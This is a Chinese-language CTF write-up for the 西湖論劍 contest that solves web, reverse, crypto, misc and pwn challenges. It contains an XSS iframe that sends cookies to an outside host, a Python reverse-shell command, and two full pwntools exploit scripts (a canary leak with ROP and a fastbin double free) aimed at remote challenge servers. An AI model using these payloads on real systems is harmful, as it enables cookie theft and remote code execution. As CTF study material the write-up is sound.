西湖論劍
太菜了最后只有18名
都怪我劃水
還是得夸aris和liano太強(qiáng)了
WEB
web1
<?php
//index.php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
hint :dir.php
//dir.php
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
用dir.php可以看根目錄文件
flag在這里
然后直接用index.php讀
就得到flag了
猜猜flag是什么
根目錄下有.DS_Store
泄露嫉沽,脫下來可以發(fā)現(xiàn)一下內(nèi)容:
繼續(xù)掃描 /e10adc3949ba59abbe56e057f20f883e/
這個(gè)目錄發(fā)現(xiàn)有 .git
泄露
用 githack
獲得一個(gè)加密壓縮包BackupForMySite.zip遣铝,不過我們有他里面的部分內(nèi)容:index.php
lengzhu.jpg
。那么用明文攻擊解開壓縮包琉苇,明文壓縮包要用bindzip
來壓縮裕循。蜂绎。搓逾。
里面的 hint 帶有激活碼,并且說 flag 在 /flag/seed.txt
(直接訪問說NAIVE)
輸入到主頁中用get請求骗露,參數(shù)為code=激活碼
就可以得到一個(gè)數(shù)字
既然說是seed
那么猜測為 php 的隨機(jī)數(shù)種子岭佳。
使用php_mt_seed
將上一步拿到的數(shù)字丟進(jìn)去跑,爆破出seed
的值
訪問/flag/${seed}.txt 就可以獲得flag了
Breakout
插進(jìn)留言版
<iframe src="javascript:window.location.href='http://xxxx:8000/?a='+document.cookie"
去report
頁面提交留言板地址萧锉,驗(yàn)證碼腳本:
import hashlib
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for i in range(1000000000):
if md5(str(i))[0:6] == '7751c4':
print(i)
break
然后拿到cookie
后替換珊随,反彈shell
到自己的服務(wù)器上:
command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1
flag
在根目錄下的flag.txt
。
RE
easyCPP
根據(jù)名字就很容易看出是個(gè)斐波那契數(shù)列了柿隙,他先取你輸入的第一個(gè)和后面每個(gè)相加叶洞,再倒序之后得是從1開始的15個(gè)斐波那契數(shù),于是逆一下得出輸入
987 -377 -610 -754 -843 -898 -932 -953 -966 -974 -979 -982 -984 -985 -986 -986
testre
base58改都沒改=-=一把梭
>>> import base58
>>> base58.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
'base58_is_boring'
Junk_Instruction
動(dòng)調(diào)題禀崖,ida載入半天也找不到啥東西=衩辟。=果斷掏出OD下API斷點(diǎn)找到關(guān)鍵函數(shù)sub_402600
由于還有花指令,不如繼續(xù)動(dòng)調(diào)波附,跟了一會(huì)艺晴,找到了像是rc4的S-box昼钻,盲猜
[0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]就是密文
qwertyuiop是key,然后解個(gè)rc4,嗯封寞?錯(cuò)了然评?倒個(gè)序,嗯狈究,看來是沒錯(cuò)=碗淌。=
from Crypto.Cipher import ARC4
key = 'qwertyuiop'
a = [0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]
enc = ''
for i in a:
enc += chr(i)
rc4 = ARC4.new(key)
print(rc4.decrypt(enc)[::-1])
Crypto
哈夫曼之謎
就是哈夫曼編碼,剛巧上半年數(shù)據(jù)結(jié)構(gòu)作業(yè)的代碼還在:
/**
*
* @class TreeNode
*/
class TreeNode {
constructor(weight = 0, item = "") {
this.item = item;
this.weight = weight;
this.lNode = null;
this.rNode = null;
}
}
/**
*
* @class huffmanTree
*/
class huffmanTree {
constructor(text) {
this.root = null;
this.generate(text);
}
generate(text) {
const countFreqs = function(text) {
let freqs = {};
for (let char of text) {
if (!freqs[char]) {
freqs[char] = 0;
}
freqs[char]++;
}
return freqs;
};
const createhuffmanTree = function(data) {
if (data.length === 1) return data[0];
data
.sort(function(node1, node2) {
return node1.weight - node2.weight;
})
.reverse();
let lNode = data.pop();
let rNode = data.pop();
let newNode = new TreeNode(lNode.weight + rNode.weight, "");
newNode.lNode = lNode;
newNode.rNode = rNode;
data.push(newNode);
return createhuffmanTree(data);
};
let freqs = countFreqs(text);
let data = [...new Set(text.split(""))].map(function(item) {
return new TreeNode(freqs[item], item);
});
this.root = createhuffmanTree(data);
}
}
/**
*
* @class HuffmanCode
*/
class HuffmanCode {
constructor() {
this.codeTable = {};
this.tree = null;
}
/**
*
* @param {*} text
* @memberof HuffmanCode
*/
encode(text) {
const traverseTree = function(node, arr, code) {
if (node.lNode !== null && node.rNode != null) {
traverseTree(node.lNode, arr, code + "0");
traverseTree(node.rNode, arr, code + "1");
}
arr[node.item] = code;
};
this.tree = new huffmanTree(text);
traverseTree(this.tree.root, this.codeTable, "");
delete this.codeTable[""];
let res = "";
for (let i of text) {
res += this.codeTable[i];
}
console.log(res);
}
/**
*
* @param {*} text
* @memberof HuffmanCode
*/
decode(text) {
let count = 0;
let res = "";
const decodeNode = node => {
if (count > text.length) return null;
if (node.lNode === null && node.rNode === null) {
res += node.item;
decodeNode(this.tree.root);
} else {
if (text[count] === "1") {
count++;
decodeNode(node.rNode);
} else {
count++;
decodeNode(node.lNode);
}
}
};
decodeNode(this.tree.root);
console.log(res);
}
}
let text = "ddddddddd5555555550000000aaaafffff{gl}";
let huffmanCode = new HuffmanCode();
huffmanCode.encode(text);
huffmanCode.decode("11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110");
字符的權(quán)重對應(yīng)字符的個(gè)數(shù)谦炒,先encode生成Huffman樹贯莺,再把給出的密文decode一下就好了风喇。相同權(quán)重的字符可能會(huì)有左右節(jié)點(diǎn)的順序差別宁改,手動(dòng)交換一下他們在字符串text
中的順序即可
最后解得flag為 flag{ddf5dfd0f05550500a5af55dd0d5d0ad}
Misc
奇怪的TTL字段
發(fā)現(xiàn)ttl.txt中的ttl只有4個(gè)值63,127,191,255,寫出他們的二進(jìn)制表示后發(fā)現(xiàn)只有最高兩位不同
于是考慮做如下轉(zhuǎn)換魂莫,發(fā)現(xiàn)寫出來的16進(jìn)制數(shù)開頭是ffd8还蹲,應(yīng)該是jpg,于是寫入文件中
fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
p.append(int(i[4:]))
s = ''
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
# print(s)
import binascii
flag = ''
for i in range(0,len(s),8):
flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255
寫完之后發(fā)現(xiàn)只有二維碼的一部分耙考,應(yīng)該是不止一張圖谜喊,用foremost直接分開就好了,之后用ps拼在一塊倦始,掃描之后得到如下信息
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}
應(yīng)該就是AutoKey那個(gè)加密了斗遏,找了個(gè)在線網(wǎng)站解密
https://www.wishingstarmoye.com/ctf/autokey
得到flag{2028ab39927df1d96e6a12b03e58002e}
最短的路
flag{ 只跟 E3 有聯(lián)系
75D}只跟 FloraPrice 有聯(lián)系
正好可以找 和 FloraPrice 和E3有聯(lián)系的
在列表翻一下正好找到
EvelynJefferson
flag: E3EvelynJeffersonE9FloraPrice75D
PWN
story
基礎(chǔ)題,利用格式化字符串leak canary之后棧溢出ROP
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
binary_name = 'story'
if local:
cn = process('./story')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
cn = remote('ctf2.linkedbyx.com',10885)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('')
ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
bin = ELF('./'+binary_name,checksec=False)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
prdi = 0x0000000000400bd3
prsi = 0x0000000000400bd1
cn.sendlineafter('ID:','%15$p')
cn.recvuntil('0x')
canary = int(cn.recvline()[:-1],16)
success('canary:'+hex(canary))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(prdi) + p64(bin.got['puts']) +p64(bin.plt['puts'])
buf+= p64(0x4009A0)
cn.sendline(buf)
cn.recvline()
cn.recvline()
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
success('lbase:'+hex(lbase))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(0x4526a+lbase)+p64(0)*0x10
cn.sendline(buf)
cn.interactive()
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
noinfoleak
說是noinfoleak鞋邑,但其實(shí)很容易就能leak信息诵次。。枚碗。就是個(gè)普通的fastbin題逾一,和第一題比說實(shí)話值不了300分(當(dāng)然第一題也是抄的,就很emmmm)
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
binary_name = 'noinfoleak'
if local:
cn = process('./noinfoleak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
cn = remote('ctf1.linkedbyx.com',10446)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
bin = ELF('./'+binary_name,checksec=False)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(sz,con):
sla('>','1')
sla('>',str(sz))
sla('>',con)
def dele(idx):
sla('>','2')
sla('>',str(idx))
def edit(idx,con):
sla('>','3')
sla('>',str(idx))
sa('>',con)
add(0x30,'/bin/sh\x00')#0
add(0x20,'bbb')#1
add(0x20,'ccc')#2
dele(1)
dele(2)
dele(1)
add(0x20,p64(0x6010a0))#3
add(0x20,'ddd')#4
add(0x20,'eee')#5
add(0x20,p64(0x601018))#6
# z('c')
edit(1,p64(bin.plt['puts']))
edit(6,p64(bin.got['puts']))
dele(1)
lbase =u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
edit(6,p64(bin.got['free']))
edit(1,p64(lbase+libc.sym['system']))
dele(0)
cn.interactive()